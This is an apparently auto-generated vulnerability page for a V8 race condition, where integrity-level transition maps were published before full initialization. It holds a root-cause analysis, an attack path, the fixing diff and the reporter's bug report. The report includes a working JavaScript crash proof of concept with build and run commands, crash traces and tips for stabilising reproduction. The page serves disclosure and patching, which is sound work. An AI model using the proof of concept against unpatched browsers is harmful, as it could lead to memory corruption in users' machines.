High patch-now ✔︎ verified CVSS 7.5 chrome Race 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
7.5
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactRace in V8
DescriptionRace in V8
ComponentV8
Sub-componentMap
Bug ClassRace
Action tierpatch-now — corruption primitive, web-reachable in default config (confirmed) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
Reviewer notes: Reordering confirmed, but memory corruption is inferred: diff only shows stale is_extensible/elements_kind visible to concurrent (compiler) threads in a narrow main-thread window; 'corrupting invariants' stated as fact. Omits DeprecateTransitionTree DCHECK drive-by.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker473851441
Fix commite7f117bdb2fb (v8/v8) +100/-63
CWECWE-362 (Race condition)
CVSS vectorCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Credited@p1nky4745
Reported2026-01-07 (per vendor advisory)
Fix landed2026-01-12 (public git)
Disclosed2026-01-20
Patch gap8 days — fix public in source before the advisory

Background

Map
V8’s hidden-class object describing an object’s shape (elements_kind, is_extensible, descriptors, and back/forward transition links).
Transition tree
the shared graph of Maps linked by named transitions; ConnectTransition publishes a target Map into this tree so other lookups (including concurrent ones) can find and reuse it.
Integrity-level transition
a SPECIAL_TRANSITION created for Object.preventExtensions/seal/freeze, whose target map must have is_extensible cleared and its elements_kind switched to a sealed/frozen/nonextensible variant.
Concurrent map access
background threads (e.g. the concurrent optimizing compiler) read maps and walk the transition tree without holding the main-thread mutation lock, so any published map must already be fully initialized.

Root Cause Analysis

In Map::CopyReplaceDescriptors, the INSERT_TRANSITION path called ConnectTransition to publish the freshly created result map into the shared transition tree immediately after InitializeDescriptors, and then returned to the caller. For an integrity-level (SPECIAL_TRANSITION) transition, the caller (the prevent-extensions helper, Map::CopyForPreventExtensions (inferred — the enclosing function name is not shown in the hunk)) only afterward performed the security-relevant initialization: set_is_extensible(false) and set_elements_kind to the sealed/frozen/nonextensible kind. This left a window in which the target map was reachable through the transition tree while still carrying the pre-transition is_extensible/elements_kind values, so a concurrent thread could pick up a map that claims to be, e.g., frozen while still reporting an extensible/packed elements kind.

The fix threads an InitMap callback through CopyReplaceDescriptors and reorders emission so that InitMap(result) runs first and ConnectTransition is called only afterward, guaranteeing the map is fully initialized before it becomes publicly reachable. A CHECK_IMPLIES now forces every INSERT_TRANSITION through the plain overload to be a plain PROPERTY_TRANSITION/SIMPLE_PROPERTY_TRANSITION, so special transitions must supply a real InitMap.

Key insight
The map was published into the shared transition tree before the integrity-level fields (is_extensible, elements_kind) were written, so concurrent readers could observe a half-initialized map; the fix moves ConnectTransition to run after the InitMap initialization callback.

Attack Path

  1. Trigger a special transition Script applies Object.preventExtensions/seal/freeze to an object, driving V8 into the integrity-level transition helper that calls Map::CopyReplaceDescriptors with SPECIAL_TRANSITION.
  2. Publish-before-init window opens CopyReplaceDescriptors calls ConnectTransition, inserting the new target map into the transition tree before set_is_extensible(false) and set_elements_kind have run on it.
  3. Concurrent reader races the tree A background thread (e.g. concurrent compilation) walks the transition tree and reads the target map during this window, observing inconsistent is_extensible/elements_kind state.
  4. Invariant violation consumed downstream Code that relies on the frozen/sealed elements-kind invariant (element access / bounds reasoning) operates on the mismatched map, leading to memory-safety corruption (inferred — the patch shows the publish/init reordering but not the specific sink).

Impact Assessment

An attacker running script in the renderer can race a background thread against an integrity-level map transition to make it observe a partially initialized map, corrupting V8’s shape/elements-kind invariants. The advisory classifies this as a race in V8; any escalation to an exploitable read/write primitive is (inferred) and not demonstrated by the patch, and the advisory does not report in-the-wild exploitation. Preconditions are only ordinary scripting plus a concurrently active background thread (default in modern V8).

Changed Functions

FunctionChangeNotes
if
src/objects/map.cc
modified

Files Changed

  • src/objects/map.cc

Audit Directions

  • Publish-before-initialize
    Audit every site that inserts an object into a shared/concurrently-read structure (transition trees, caches, feedback vectors) and completes initialization afterward; the write of all invariants must precede the publishing store.
  • Post-`CopyReplaceDescriptors` mutation
    Search for callers that mutate a map returned from a map-copy/transition helper; such fields must instead be set inside the copy before the transition is connected.
  • Concurrent-read invariants on maps
    Review fields read off maps by background threads (elements_kind, is_extensible, bit fields) for whether they can be observed in a transient inconsistent state during main-thread transition creation.
From e7f117bdb2fb4acbe619cf26aae2e011bf7f0e25 Mon Sep 17 00:00:00 2001
From: Olivier Flückiger <olivf@chromium.org>
Date: Mon, 12 Jan 2026 15:41:30 +0100
Subject: [PATCH] [map] Fix publishing of integrity-level transitions

Integrity level transition target maps should not be published to the
map tree before they are fully initialized. Otherwise concurrent access
might pick up not fully updated target maps.

Drive-By: Fix a dcheck in the map-updater to not fire when an indirectly
reachable non-deprecatable map is deprecated due to the whole subtree
being deprecated.

Fixed: 473851441
Change-Id: Ibfe62aa63e63873554420774a0b269e7f2cd594f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7450862
Auto-Submit: Olivier Flückiger <olivf@chromium.org>
Reviewed-by: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Cr-Commit-Position: refs/heads/main@{#104646}
---

diff --git a/src/objects/map.cc b/src/objects/map.cc
index 8b16172..da68bbb 100644
--- a/src/objects/map.cc
+++ b/src/objects/map.cc
@@ -652,20 +652,25 @@
 }
 
 void Map::DeprecateTransitionTree(Isolate* isolate) {
+  DCHECK(CanBeDeprecated());
+  return DeprecateTransitionTreeImpl(isolate);
+}
+
+void Map::DeprecateTransitionTreeImpl(Isolate* isolate) {
   if (is_deprecated()) return;
   DisallowGarbageCollection no_gc;
   ReadOnlyRoots roots(isolate);
   TransitionsAccessor transitions(isolate, *this);
   transitions.ForEachTransition(
-      &no_gc, [&](Tagged<Map> map) { map->DeprecateTransitionTree(isolate); },
+      &no_gc,
+      [&](Tagged<Map> map) { map->DeprecateTransitionTreeImpl(isolate); },
       [&](Tagged<Map> map) {
         if (v8_flags.move_prototype_transitions_first) {
-          map->DeprecateTransitionTree(isolate);
+          map->DeprecateTransitionTreeImpl(isolate);
         }
       },
       nullptr);
   DCHECK(!IsFunctionTemplateInfo(constructor_or_back_pointer()));
-  DCHECK(CanBeDeprecated());
   set_is_deprecated(true);
   if (v8_flags.log_maps) {
     LOG(isolate, MapEvent("Deprecate", direct_handle(*this, isolate), {}));
@@ -1587,6 +1592,22 @@
     DirectHandle<DescriptorArray> descriptors, TransitionFlag flag,
     MaybeDirectHandle<Name> maybe_name, const char* reason,
     TransitionKindFlag transition_kind) {
+  // Special transitions need to pass an InitMap function to initialize the map
+  // before inserting it into the transition tree.
+  CHECK_IMPLIES(flag == INSERT_TRANSITION,
+                transition_kind == PROPERTY_TRANSITION ||
+                    transition_kind == SIMPLE_PROPERTY_TRANSITION);
+  return CopyReplaceDescriptors(
+      isolate, map, descriptors, flag, [&](Handle<Map>) {}, maybe_name, reason,
+      transition_kind);
+}
+
+template <typename InitMapCb>
+Handle<Map> Map::CopyReplaceDescriptors(
+    Isolate* isolate, DirectHandle<Map> map,
+    DirectHandle<DescriptorArray> descriptors, TransitionFlag flag,
+    const InitMapCb& InitMap, MaybeDirectHandle<Name> maybe_name,
+    const char* reason, TransitionKindFlag transition_kind) {
   DCHECK(descriptors->IsSortedNoDuplicates());
 
   Handle<Map> result = CopyDropDescriptors(isolate, map);
@@ -1598,15 +1619,16 @@
     result->set_may_have_interesting_properties(true);
   }
 
+  bool insert_transition = false;
   if (map->is_prototype_map()) {
     result->InitializeDescriptors(isolate, *descriptors);
   } else {
     if (flag == INSERT_TRANSITION &&
         TransitionsAccessor::CanHaveMoreTransitions(isolate, map)) {
+      insert_transition = true;
       result->InitializeDescriptors(isolate, *descriptors);
 
       DCHECK(!maybe_name.is_null());
-      ConnectTransition(isolate, map, result, name, transition_kind);
       is_connected = true;
     } else if ((transition_kind == PROTOTYPE_TRANSITION &&
                 v8_flags.move_prototype_transitions_first) ||
@@ -1624,6 +1646,10 @@
       result->InitializeDescriptors(isolate, *descriptors);
     }
   }
+  InitMap(result);
+  if (insert_transition) {
+    ConnectTransition(isolate, map, result, name, transition_kind);
+  }
   if (v8_flags.log_maps && !is_connected) {
     LOG(isolate,
         MapEvent("ReplaceDescriptors", map, result, reason,
@@ -1879,68 +1905,70 @@
       DescriptorArray::CopyUpToAddAttributes(
           isolate, direct_handle(map->instance_descriptors(isolate), isolate),
           num_descriptors, attrs_to_add);
+
+  auto InitMap = [&](Handle<Map> new_map) {
+    new_map->set_is_extensible(false);
+    if (!IsTypedArrayOrRabGsabTypedArrayElementsKind(map->elements_kind())) {
+      ElementsKind new_kind = IsStringWrapperElementsKind(map->elements_kind())
+                                  ? SLOW_STRING_WRAPPER_ELEMENTS
+                                  : DICTIONARY_ELEMENTS;
+      if (!old_map_is_dictionary_elements_kind) {
+        switch (map->elements_kind()) {
+          case PACKED_ELEMENTS:
+            if (attrs_to_add == SEALED) {
+              new_kind = PACKED_SEALED_ELEMENTS;
+            } else if (attrs_to_add == FROZEN) {
+              new_kind = PACKED_FROZEN_ELEMENTS;
+            } else {
+              new_kind = PACKED_NONEXTENSIBLE_ELEMENTS;
+            }
+            break;
+          case PACKED_NONEXTENSIBLE_ELEMENTS:
+            if (attrs_to_add == SEALED) {
+              new_kind = PACKED_SEALED_ELEMENTS;
+            } else if (attrs_to_add == FROZEN) {
+              new_kind = PACKED_FROZEN_ELEMENTS;
+            }
+            break;
+          case PACKED_SEALED_ELEMENTS:
+            if (attrs_to_add == FROZEN) {
+              new_kind = PACKED_FROZEN_ELEMENTS;
+            }
+            break;
+          case HOLEY_ELEMENTS:
+            if (attrs_to_add == SEALED) {
+              new_kind = HOLEY_SEALED_ELEMENTS;
+            } else if (attrs_to_add == FROZEN) {
+              new_kind = HOLEY_FROZEN_ELEMENTS;
+            } else {
+              new_kind = HOLEY_NONEXTENSIBLE_ELEMENTS;
+            }
+            break;
+          case HOLEY_NONEXTENSIBLE_ELEMENTS:
+            if (attrs_to_add == SEALED) {
+              new_kind = HOLEY_SEALED_ELEMENTS;
+            } else if (attrs_to_add == FROZEN) {
+              new_kind = HOLEY_FROZEN_ELEMENTS;
+            }
+            break;
+          case HOLEY_SEALED_ELEMENTS:
+            if (attrs_to_add == FROZEN) {
+              new_kind = HOLEY_FROZEN_ELEMENTS;
+            }
+            break;
+          default:
+            break;
+        }
+      }
+      new_map->set_elements_kind(new_kind);
+    }
+  };
+
   // Do not track transitions during bootstrapping.
   TransitionFlag flag =
       isolate->bootstrapper()->IsActive() ? OMIT_TRANSITION : INSERT_TRANSITION;
-  Handle<Map> new_map =
-      CopyReplaceDescriptors(isolate, map, new_desc, flag, transition_marker,
-                             reason, SPECIAL_TRANSITION);
-  new_map->set_is_extensible(false);
-  if (!IsTypedArrayOrRabGsabTypedArrayElementsKind(map->elements_kind())) {
-    ElementsKind new_kind = IsStringWrapperElementsKind(map->elements_kind())
-                                ? SLOW_STRING_WRAPPER_ELEMENTS
-                                : DICTIONARY_ELEMENTS;
-    if (!old_map_is_dictionary_elements_kind) {
-      switch (map->elements_kind()) {
-        case PACKED_ELEMENTS:
-          if (attrs_to_add == SEALED) {
-            new_kind = PACKED_SEALED_ELEMENTS;
-          } else if (attrs_to_add == FROZEN) {
-            new_kind = PACKED_FROZEN_ELEMENTS;
-          } else {
-            new_kind = PACKED_NONEXTENSIBLE_ELEMENTS;
-          }
-          break;
-        case PACKED_NONEXTENSIBLE_ELEMENTS:
-          if (attrs_to_add == SEALED) {
-            new_kind = PACKED_SEALED_ELEMENTS;
-          } else if (attrs_to_add == FROZEN) {
-            new_kind = PACKED_FROZEN_ELEMENTS;
-          }
-          break;
-        case PACKED_SEALED_ELEMENTS:
Loading diff…

Original Bug Report

reported by p1...@gmail.com

Data race in Map::bit_field2 access

Summary

A data race vulnerability exists in V8’s Map object where concurrent access to bit_field2 (which contains elements_kind) between the main thread and Maglev/TurboFan background compilation threads can lead to memory corruption. The race occurs because bit_field2 is accessed with non-atomic operations while being modified by Object.freeze(), Object.seal(), or Object.preventExtensions() on the main thread.

Vulnerability Details

Root Cause

The bit_field2 field in Map objects is accessed using non-atomic read/write operations:

// src/objects/map-inl.h
uint8_t Map::bit_field2() const { return ReadField<uint8_t>(kBitField2Offset); }
void Map::set_bit_field2(uint8_t value) {
  WriteField<uint8_t>(kBitField2Offset, value);
}

When Object.freeze() executes on the main thread, it modifies bit_field2 via set_elements_kind(). Concurrently, the Maglev background compilation thread reads bit_field2 via elements_kind() in MapUpdater::TryUpdateNoLock(), creating a data race.

Bisect

The issue was introduced in: https://issues.chromium.org/issues/42210079. Affected versions: M78 and later

The vulnerability affects Object.freeze(), Object.seal(), and Object.preventExtensions().

Proof of Concept

function f24() {
    function f23() {
        function F40(a42) {
            let v44 = a42.constructor;
            new v44(1.1);
            this.g = a42;
            Object.freeze(this);
        }
        let v50 = new F40(0);
        new F40(v50);
    }

    for (let i = 0; i < 5000000; i++) {
        f23();
    }
}

// Workers run in parallel and increase the chance of hitting the race between the
// main thread and background compiler threads.
const workers = [];
for (let i = 0; i < 30; i++) {
    workers.push(new Worker(f24, { type: "function" }));
}

for (const w of workers) {
    try {
        w.getMessage();
    } catch(e) {}
}

Reproduction Steps

  1. Build V8/d8 with the following configurations:

Release build (args.gn):

is_debug = false
target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_static_library = true

TSAN build (args.gn):

dcheck_always_on = true
is_component_build = false
is_debug = false
is_tsan = true
target_cpu = "x64"
v8_enable_disassembler = true
v8_enable_object_print = true
v8_static_library = true
  1. Run the PoC:
# Release build - crashes with SEGV
./out/release/d8 --expose-gc --allow-natives-syntax --jit-fuzzing poc.js

# TSAN build - detects data race
TSAN_OPTIONS=halt_on_error=1:abort_on_error=1 ./out/is_tsan/d8 --expose-gc --allow-natives-syntax --jit-fuzzing poc.js

Crash Analysis

Release Build Crash

Received signal 11 SEGV_ACCERR 03c78b482673
...
v8::internal::MapUpdater::TryUpdateNoLock
v8::internal::compiler::JSHeapBroker::ReadFeedbackForPropertyAccess
...
v8::internal::maglev::MaglevConcurrentDispatcher::JobTask::Run

Note: Due to the inherent instability of race conditions, crashes may occur at different locations. Adding garbage collection before the racing call (new F40(v50);) can help stabilize reproduction during exploitation.

TSAN Report

WARNING: ThreadSanitizer: data race (pid=2363887)
  Read of size 1 at 0x7eac01034737 by thread T32:
    #0 ReadMaybeUnalignedValue<unsigned char> src/common/ptr-compr.h:215:12
    #1 ReadField<unsigned char> src/objects/heap-object.h:262:12
    #2 bit_field2 src/objects/map-inl.h:561:42
    #3 elements_kind src/objects/map-inl.h:673:47
    #4 MapUpdater::TryUpdateNoLock src/objects/map-updater.cc:428:46
    ...

  Previous write of size 1 at 0x7eac01034737 by main thread:
    #0 WriteMaybeUnalignedValue<unsigned char> src/common/ptr-compr.h:233:24
    #1 WriteField<unsigned char> src/objects/heap-object.h:270:12
    #2 set_bit_field2 src/objects/map-inl.h:564:3
    #3 set_elements_kind src/objects/map-inl.h:668:3
    #4 Map::CopyForPreventExtensions src/objects/map.cc:1941:14
    #5 JSObject::PreventExtensionsWithTransition src/objects/js-objects.cc:4581:33
    #6 JSReceiver::SetIntegrityLevel src/objects/js-objects.cc:2030:16
    #7 Builtin_Impl_ObjectFreeze src/builtins/builtins-object.cc:223:18

Suggested Patch

The fix requires using relaxed atomic operations for bit_field2 access, similar to how bit_field is already handled:

diff --git a/src/objects/map-inl.h b/src/objects/map-inl.h
index 3fc90007a82..d6d8c68337a 100644
--- a/src/objects/map-inl.h
+++ b/src/objects/map-inl.h
@@ -133,9 +133,9 @@ BIT_FIELD_ACCESSORS2(Map, relaxed_bit_field, bit_field, is_constructor,
                      Map::Bits1::IsConstructorBit)
 
 // |bit_field2| fields.
-BIT_FIELD_ACCESSORS(Map, bit_field2, new_target_is_base,
+BIT_FIELD_ACCESSORS(Map, relaxed_bit_field2, new_target_is_base,
                     Map::Bits2::NewTargetIsBaseBit)
-BIT_FIELD_ACCESSORS(Map, bit_field2, is_immutable_proto,
+BIT_FIELD_ACCESSORS(Map, relaxed_bit_field2, is_immutable_proto,
                     Map::Bits2::IsImmutablePrototypeBit)
 
 // |bit_field3| fields.
@@ -558,10 +558,20 @@ void Map::set_relaxed_bit_field(uint8_t value) {
   RELAXED_WRITE_BYTE_FIELD(*this, kBitFieldOffset, value);
 }
 
-uint8_t Map::bit_field2() const { return ReadField<uint8_t>(kBitField2Offset); }
+uint8_t Map::relaxed_bit_field2() const {
+  return RELAXED_READ_BYTE_FIELD(*this, kBitField2Offset);
+}
+
+void Map::set_relaxed_bit_field2(uint8_t value) {
+  RELAXED_WRITE_BYTE_FIELD(*this, kBitField2Offset, value);
+}
+
+uint8_t Map::bit_field2() const { 
+  return relaxed_bit_field2(); 
+}
 
 void Map::set_bit_field2(uint8_t value) {
-  WriteField<uint8_t>(kBitField2Offset, value);
+  set_relaxed_bit_field2(value);
 }
 
 uint32_t Map::bit_field3() const {
@@ -665,8 +675,8 @@ bool Map::TryGetValidityCellHolderMap(
 
 void Map::set_elements_kind(ElementsKind elements_kind) {
   CHECK_LT(static_cast<int>(elements_kind), kElementsKindCount);
-  set_bit_field2(
-      Map::Bits2::ElementsKindBits::update(bit_field2(), elements_kind));
+  set_relaxed_bit_field2(
+      Map::Bits2::ElementsKindBits::update(relaxed_bit_field2(), elements_kind));
 }
 
 ElementsKind Map::elements_kind() const {
diff --git a/src/objects/map.h b/src/objects/map.h
index 9c25eee64d2..baa34ec4fb0 100644
--- a/src/objects/map.h
+++ b/src/objects/map.h
@@ -325,6 +325,8 @@ class Map : public TorqueGeneratedMap<Map, HeapObject> {
   //
   DECL_PRIMITIVE_ACCESSORS(bit_field2, uint8_t)
 
+  DECL_PRIMITIVE_ACCESSORS(relaxed_bit_field2, uint8_t)
+
   // Bit positions for |bit_field2|.
   struct Bits2 {
     DEFINE_TORQUE_GENERATED_MAP_BIT_FIELDS2()

Security Impact

This vulnerability allows:

  1. Memory corruption through data race of elements_kind
  2. Type confusion if inconsistent elements_kind values are observed

Version Information

  • V8 Version: latest at time of testing - 14.5.170
  • Operating System: Linux x64 (Ubuntu)
  • Architecture: x86_64

Credit Information

Reporter credit: @p1nky4745

View on issue tracker
Uploaded PoC files